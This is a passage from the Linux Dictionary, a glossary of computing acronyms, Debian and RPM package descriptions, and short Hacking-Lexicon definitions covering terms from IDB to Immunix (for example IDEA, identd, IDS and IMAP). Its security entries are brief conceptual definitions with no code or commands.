Integrated DataBase Transaction Format (IDB, DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDC

Inter-Device Communication (IBM, OS/2) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDC

International Data Corporation From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDCT

Inverse Discrete Cosine Transformation (DCT) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDDD

International Direct Distance Dialing From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDE

Integrated Development Environment From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDE

Integrated Drive Electronics (HDD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDE

See Integrated Device Electronics (IDE). From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ide-smart

S.M.A.R.T. status checking tool for IDE hard disk drives ide-smart performs various non-destructive tests on a SMART (Self-Monitoring, Analysis and Reporting Technology) capable IDE device. SMART provides near future failure prediction by monitoring different attributes (listed as IDs) of the device. Your BIOS and hardware need to support SMART to use this package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDEA

International Data Encryption Algorithm (cryptography) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDEA

Internet Design, Engineering, and Analysis notes (IETF) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDEA (International Data Encryption Algorithm)

IDEA is a symmetric block cipher algorithm. It is popular because it is used in PGP, but due to commercial licensing issues, it is not popular elsewhere. Controversy: IDEA is one of the few (widely-used) ciphers protected by patents; it requires a license for commercial use. PGP is no longer using IDEA as its default cipher because of this. Notes: It was developed by Xuejia Lai and James L. Massey. It uses 128-bit keys. There is no known way to break it other than brute-force. It was published in 1990. Its patents are held by the Swiss company "Ascom-Tech AG". Misconception: The name implies that IDEA is some sort of official standard -- it isn't. However, it is widely used, and is an option on many standards. Applications: PGP From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDEF

Integrated [CAM] DEFinition (CAM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ident

identify RCS keyword strings in files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ident2

An advanced ident daemon ident2 is an advanced, configurable ident daemon. You can set it to lie, not lie, or not return any response at all, and it is per-user configurable (e.g. if user daniel was IRCing, it'd use ~daniel/.ident for its config, if user kim was IRCing, it'd use ~kim/.ident). The admin can specify whether users can configure the type of return they want or not. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

identd

TCP/IP IDENT protocol server From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

identd / auth

The identd (also known as auth) service on UNIX can be used to identify the owner of a TCP connection. As the auth name implies, it was originally intended to be used as some sort of authentication mechanism. Nowadays, it is most commonly used simply as a way of logging who does what activity. Example: When you connect to a UNIX-based mail server, it will usually attempt a reverse connection back to you on the identd port 113. Its goal is simply to log which user was attempting access to the server. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDES

International Demonstration and Education System (R/3, SAP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDES

Intrusion Detection Expert System (IBM, IDS, XPS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

idetool

view properties and settings of IDE drives From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDF

Intel Developer Forum (Intel, conference) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDG

International Data Group (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDI

Initial DOMAIN Identifier (NSAP, IDP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDIS

Integrated Dealer and Importer System (MBAG) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDL

Interactive Data Language (Research Systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDL

Interface Definition Language (DCE, CORBA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

idl-font-lock-el

OMG IDL font-locking for Emacs This module adds font-lock highlighting to the Emacs IDL-mode. This will be useful for people doing CORBA stuff, but it is not related to the Interactive Data Language. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDLC

ISDN Data Link Control (ISDN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

idle

An IDE for Python using Tkinter IDLE is an Integrated Development Environment for Python. IDLE is written using Tkinter and therefore quite platform-independent. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDLE

International Date Line, East [+1200] (TZ) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

idle

make process 0 idle From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDLW

International Date Line, West [-1200] (TZ) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDMR

Inter-DOMAIN Multicast Routing (IETF, WG, Multicast) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDMS Linux

IDMS Linux is NOT a home user distribution. It is intended solely as the base for high end server software. No GUI's, No X, No fancy stuff. The initial Freshmeat announcement was for version 2.0.25, dated June 22, 2002. Version 2.2.8 was released January 5, 2003. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDN

Integrated Digital Network From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDOC

Intermediate DOCuments (ALE, SAP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDOMENEUS

Information and Data on Open MEdia for NEtworks of USers (WWW, Uni Hamburg, Germany)

From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDP

Initial DOMAIN Part (NSAP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDP

Internet Datagram Protocol (XNS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDRC

??? Redundancy Check (Datenkompression) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDS

Information Delivery System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDS

Intelligent Decision Server (IBM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDS

Inter Data Systems [gmbh] (manufacturer) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDS

Internal Directory System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDS

Intrusion Detection System (IDS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDS (intrusion detection system)

An IDS is a security countermeasure. It monitors things looking for signs of intruders. Contrast: A host-based IDS monitor system events, logfiles, and so forth. A network-based IDS monitors network traffic, usually promiscuously. Contrast: A firewall simply blocks openings into your network/system, but cannot distinguish between good/bad activity. Therefore, if you need to allow an opening to a system (like a web-server), then a firewall cannot protect against intrusion attempts against this opening. In contrast, intrusion detection systems can monitor for hostile activity on these openings. More: See <http://www.robertgraham.com/pubs/network-intrusion-detection.html> for more info. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDSA

Interactive Digital Software Association (org., Nintendo, Sony, MS, ...) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDSS

Interoperability Decision Support System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

idswakeup

A tool for testing network intrusion detection systems. idswakeup is a Bourne shell script invoking hping2 (required) and iwu (part of this package) to generate false alarms in order to check if a network intrusion detection system works all right. idswakeup requires no configuration and includes many common attack simulations. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDT

Linux Dictionary

Integrated Device Technology (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDT

Interrupt Descriptor Table From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDTRC

Interrupt Descriptor Table Register Cache (IDT, CPU, Intel) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDU

Interface Data Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDUPGSSAPI

Independent Data Unit Protection Generic Security Service API (GSS, API), "IDUP-GSS-API"
From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

idutch

The Dutch dictionary for ispell, in new (August 1996) spelling. A Dutch spelling dictionary for the spelling checker ispell. The dictionary contains 119996 roots, which expand to 227480 words. For a simple word list, see the wdutch package instead. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDV

Individuelle Datenverarbeitung From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IDVC

Integrated Data/Voice Channel From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IE

Information Element (ATM, ISDN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IE

Information Engineering From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IEAAIE

[international conference on] Industrial and Engineering Applications of Artificial Intelligence and Expert systems (conference, ISAI, ..., AI), "IEA/AIE" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IEC

Inter-Exchange Carrier (AT&T, MCI, LEC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IEC

International Electrotechnical Commission (org., Switzerland) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IECC

Informix Enterprise Command Center (Informix) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

International Electronic Publishing Research Centre (org., PIRA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IES

Intelligent Emulation Switching (Epson) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IESE

[fraunhofer] Institut fuer Experimentelles Software Engineering (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IESG

Internet Engineering Steering Group (IETF) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iesperanto

The Esperanto dictionary for ispell. This is the the Esperanto dictionary, to be used with the ispell program, version 3.1.04 and following. The dictionary is based on the words from Plena Ilustrita Vortaro, with additional country/language names. It accepts Latin-3, `cx' and `^c' forms. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IETF

Acronym for the Internet Engineering Task Force, The IETF is the protocol engineering and development arm of the Internet, the IETF Home Page provides specific information in excruciating detail. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IETF

Internet Engineering Task Force (org., IAB, Internet, RFC 1603/2418) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IETF

Linux Dictionary

See Internet Engineering Task Force (IETF). From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IETFWG

Internet Engineering Task Force – Working Group (RFC 1603, IETF), "IETF-WG" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IETM

Interactive Electronic Technical Manual From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IETS

Interim European Telecommunications Standards (GSM, mobile-systems) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IEW

Information Engineering Workbench (IBM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IF

Information Flow (IN) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFAC

International Federation for Automatic Control (org., Austria) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFAD

Institute of Applied Computer Science (org., Denmark) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifaroese

The Faroese dictionary for ispell. This is the Faroese dictionaries, to be used with ispell to check and correct spelling in Faroese texts. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFC

InterFace Clear (GPIB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFC

Internet FAQ Consortium (Internet, FAQ, org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFC

Internet Foundation Classes (ONE, Netscape, Java) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifcico

Fidonet Technology transport package Ifcico is a FidoTech mailer for connecting to other nodes via the phone or the Internet. This version includes the "tx" patches and other misc patches. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFCM

Independent Flow Control Messages (SSP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifconfig

configure a network interface From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFD

Information Flow Diagram (IRM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifdown

take a network interface down From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFE

Internet Forum Europe (fair) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifenslave

Attach and detach slave interfaces to a bonding device. This is a tool to attach and detach slave network interfaces to a bonding device. A bonding device will act like a normal Ethernet network device to the kernel, but will send out the packets via the slave devices using a simple round-robin scheduler. This allows for simple load-balancing, identical to "channel bonding" or "trunking" techniques used in switches. The kernel must have support for bonding devices for ifenslave to be useful. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifgate

Internet to Fidonet gateway The program can act as a gateway between email and netmail and Usenet newsgroups and echomail. This version includes the "tx" patches and other misc patches. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifhp

Printer filter for HP LaserJet printers ifhp is a highly versatile print filter for BSD based print spoolers. It can be configured to handle text, PostScript, PJJ, PCL, and raster printers, supports conversion from one format to another, and can be used as a stand-alone print utility. It is the primary supported print filter for the LPRng print spooler. It provides access to printer features like duplex printing, paper tray selection and strong accounting using the printer's internal page counter. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifinnish

A medium-size Finnish dictionary for Ispell This is a medium-size version of the Finnish dictionary, to be used with ispell to check and correct spelling in Finnish texts. Since Ispell is not really good at spell checking the kind of languages such as Finnish, this dictionary may not be as useful as the dictionaries for other languages. This dictionary recognizes roughly 1.9 million words and word forms. Ispell requires about 10 megabytes of memory when using this dictionary. For most uses, this version of the Finnish dictionary is recommended. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFIOM

Intelligent FDDI Input Output Module (SMC, ES/1, FDDI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFIP

International Federation of Information Processing societies (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifmail

Internet to Fidonet gateway The package contains common files needed by ifcico and ifgate packages. This version includes the "tx" patches and other misc patches. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFMP

Ipsilon Flow Management Protocol (IP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFNA

International FidoNet Association (org., Fido) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifnames

print identifiers that a package uses in C preprocessor conditionals From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFP

Instruction Fetch Pipeline (Motorola, CPU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifplugd

ifplugd is a Linux daemon which will automatically configure your ethernet device when a cable is plugged in and automatically unconfigure it if the cable is pulled. This is useful on laptops with onboard network adapters, since it will only configure the interface when a cable is really connected. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFR

Interleaved Frame Recording (video) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifrench

The French dictionary for ispell (Hydro-Quebec version). This is a French dictionary, to be used with the ispell program, version 3.1.04 and following. The dictionary contains roughly 50,000 roots, which expand to about 220,000 words. This is the Martin Boyer and Hydro-Quebec version. You may prefer to use the GUTenberg version installed by the ifrench-gut package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifrom

one line per message summary of IMAP mailbox From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFS

ICOT Free Software (ICOT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFS

Installable File System (OS/2, DOS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFS

Intelligent Fax System (Ricoh) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFS

Internal Field Separator (Unix, AWK) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFS

Internet File System (Oracle, DB, Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifup

bring a network interface up From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ifupdown

High level tools to configure network interfaces This package provides the tools ifup and ifdown which may be used to configure (or, respectively, deconfigure) network interfaces, based on the file /etc/network/interfaces. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IFX

Interactive Financial eXchange (USA, banking) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

igal

online image gallery generator iGal is a Perl-based program that can generate and publish an entire online picture show (HTML slides, thumbnails and index page included) with just one command line invocation. If you've got a directory (or several) full of image files that are waiting to be put online and shared with friends, then iGal is for you. iGal is well documented, flexible, and configurable through command line options and HTML templates, specific to each gallery. Generated slide shows include a JavaScript trick to preload the next image in the slideshow – ideal for slow links. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IGBT

Insulated Gate Bipolar Transistor (IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IGC

Institute for Global Communications (USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IGD

[fraunhofer] Institut fuer Graphische Datenverarbeitung (org., Darmstadt, Germany) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

igerman

The German dictionary for ispell. This is the German dictionary for ispell as put together by heinz.knutzen@web.de This dictionary refers to the old German orthography. For the new orthography see ingerman. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IGES

Initial Graphics Exchange Specification (ANSI, USA, CIM, CAD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IGMP

Internet Group Management / Multicast Protocol (RFC 1112/2236, IP, Multicast) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IGN

IBM Global Network (network) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IGOSS

Industry/Government Open System Specification From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IGP

Interior Gateway Protocol From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IGP (Interior Gateway Protocol)

A protocol for exchanging information between gateways (hosts with routers) within an autonomous network (for example, a system of corporate local area networks). The routing information can then be used by the Internet Protocol (IP) or other network protocols to specify how to route transmissions. There are two commonly used IGPs: the Routing Information Protocol (RIP) and the Open Shortest Path First (OSPF) protocol. From IGP <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IGRP

Interior Gateway Routing Protocol (IPX, Novell) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ILETS

International Law Enforcement Telecom Seminars (ETSI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ILFA

Integrierte Logische Funktionen fuer Anwendungen (IWBS, Uni Karlsruhe, Germany, Uni Duisburg, Germany) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ILLIGAL

ILLinois Genetic Algorithm Laboratory (org., Uni Illinois, USA), "IlliGAL" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ILLINET

Illinois LIBrary NETwork (network, USA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

illuminator-demo

Illuminator Distributed Visualization Library Demo This little library provides contour surface viewing for PETSc's 3-D distributed array objects using the Geomview viewer. This package contains a demonstration program "chts" (Cahn-Hilliard timestep). With mpich, you can run it in parallel using "mpirun -np X /usr/bin/chts" where X is the number of processes (optimally equal to the number of processors), as long as process 0 has access to your X display. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

illuminator0

Illuminator Distributed Visualization Library This little library provides contour surface viewing for PETSc's 3-D distributed array objects using the Geomview viewer. This package contains the shared libs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ILMI

Interim Link / Local Management Interface (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ILPNET

[european] Inductive Logic Programming scientific NETwork From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ILS

Intelligente LernSysteme From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ILT

[Linux] Instructor Led Training (Linux, Caldera) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IM

Information Management From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IM

Interface Module From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

im

Internet Message This package provides a series of user interface commands (im* commands) and backend Perl5 libraries to integrate Email and NetNews user interface. They are designed to be used both from Mew and on command line. The folder style for Mew is exactly the same as that of MH. So, you can replace MH with this package without any migration works. Moreover, you are able to operate your messages both by IM and MH with consistent manner. If you want to use RPOP protocol support, You should install perl-suid package. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMA

Interactive Multimedia Association (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMA

International MIDI Association (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMAC

Isochronous Media Access Control (FDDI), "I-MAC" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMACS

International ??? (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

image

An archive file usually with the extension .iso, .img, or .raw that is used to create a CD-ROM, DVD, or diskette. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imagemagick

Image manipulation programs. Imagemagick is a set of programs to manipulate various image formats (JPEG, TIFF, PhotoCD, PBM, XPM, etc...). All manipulations can be achieved through shell commands as well as through a X11 graphical interface (display). Possible effects: colormap manipulation, channel operations, thumbnail creation, image annotation, limited drawing, image distortion, etc... This package suggests a postscript interpreter (gs) to read postscript files. It will however function happily without it (as long as you don't want to read postscript). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ImageMagick

ImageMagick is a powerful image display, conversion and manipulation tool. It runs in an X session. With this tool, you can view, edit and display a variety of image formats. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMAIL

Intelligent MAIL From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imake

C preprocessor interface to the make utility From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMAL

Integrated Media Architecture Laboratory (Bell, org., USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMAO

In My Arrogant Opinion (slang, Usenet, IRC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMAP

Internet Message Access Protocol (RFC 2060) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMAP

see Internet Message Access Protocol (IMAP). From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMAP (Internet Mail Access Protocol) IMAP4

IMAP is a popular protocol for users to retrieve e-mail from servers. It is likely supported by the mail client that you use, such as Netscape or Outlook. Key point: IMAP is important to hackers because many implementations are vulnerable to buffer overflow exploits. In particular, a popular distribution of Linux shipped with a vulnerable IMAP service that was enabled by default. Therefore, even today, security professionals frequently detect scans directed at port 143 looking for vulnerable IMAP servers. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMAP (Internet Message Access Protocol)

IMAP is gradually replacing POP as the main protocol used by email clients in communicating with email servers. Using IMAP an email client program can not only retrieve email but can also manipulate message stored on the server, without having to actually retrieve the messages. So messages can be deleted, have their status changed, multiple mail boxes can be managed, etc. IMAP is defined in RFC 2060 From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imapcopy

copy or move messages from an IMAP inbox to a local mailbox From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imapd

Internet Message Access Protocol server From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imaptool

A tool for creating client-side image maps A simple (yet useful and free) tool for creating client-side image maps, supporting GIF and JPEG images. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imapxfer

copy mailboxes between IMAP servers From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMB

Intel Media Bench From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMC

??? (org.), "IM&C" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMC

Information Management Concept From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMCO

In My Considered Opinion (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imcom

A console jabber client IMcom is a text based jabber client written in python. IMcom has the look and feel of micq and is a good replacement for micq users who want to use a free instant messaging system. See <http://www.jabber.org> for more information on the jabber instant messaging system. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMDB

Internet Movie DataBase (Internet, WWW, DB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IME

Input Method Editor (MS, Windows) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMEI

International Mobile Equipment Identity (MS, GSM, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMG

Implementation Guide (R/3, SAP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imgsize

Add WIDTH and HEIGHT attributes to IMG tags in HTML files. The imgsize script automates away the tedious task of creating and updating the extension HEIGHT and WIDTH parameters in HTML IMG tags. These parameters help many browsers (including Netscape) to multi-thread image loading, instead of having to load images in strict sequence in order to have each one's dimensions available so the next can be placed. This generally allows text on the remainder of the page to load much faster. The package needs either the imagemagick package or both the file and libjpeg-progs packages. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imgstamp

A timestamping utility for webcam images imgstamp is a utility that "watermarks" a JPEG image with a line of text. It can stamp the text onto the image with a variety of styles, fonts, and orientations. It can also upload the stamped image to an FTP server, which is useful for webcam scripts. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imgvtopgm

PalmPilot/III Image Conversion utility This program can convert, compress, and decompress 4-bit grayscale images for displaying on the PalmPilot. It can take any pbm, pnm, pgm file generated by the netpbm package and convert it into a suitable image for the Pilot. A suitable viewer for the Pilot or PalmIII that is freeware can be found at <http://www.strout.net/pilotsoft/spec/index.html>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMHO

In My Humble Opinion (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMIA

International Medical Informatics Association From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IML

Initial Machine Load From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imlib

Imlib is a display depth independent image loading and rendering library. Imlib is designed to simplify and speed up the process of loading images and obtaining X Window System drawables. Imlib provides many simple manipulation routines which can be used for common operations. Install imlib if you need an image loading and rendering library for X11R6, or if you are installing GNOME. You may also want to install the imlib-cfgeditor package, which will help you configure Imlib. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imlib

Imlib is a display depth independent image loading and rendering library. Imlib is designed to simplify and speed up the process of loading images and obtaining X Window System drawables. Imlib provides many simple manipulation routines which can be used for common operations. Install imlib if you need an image loading and rendering library for X11R6. You may also want to install the imlib-cfgeditor package, which will help you configure Imlib. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imlib-progs

Configuration program for Imlib and GDK-Imlib This package contains imlib_config, a GTK app that will allow the user to set all of Imlib's properties. It writes to the global imrc or the users. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

imlib1

Imlib is an imaging library for X and X11 Imlib is a low-level Xlib interface for X programmers. It allows easier access to many graphics formats and can write to them as well. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IMMD

Institut fuer Mathematische Maschinen und Datenverarbeitung (org., Uni Erlangen, Germany) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Immunix

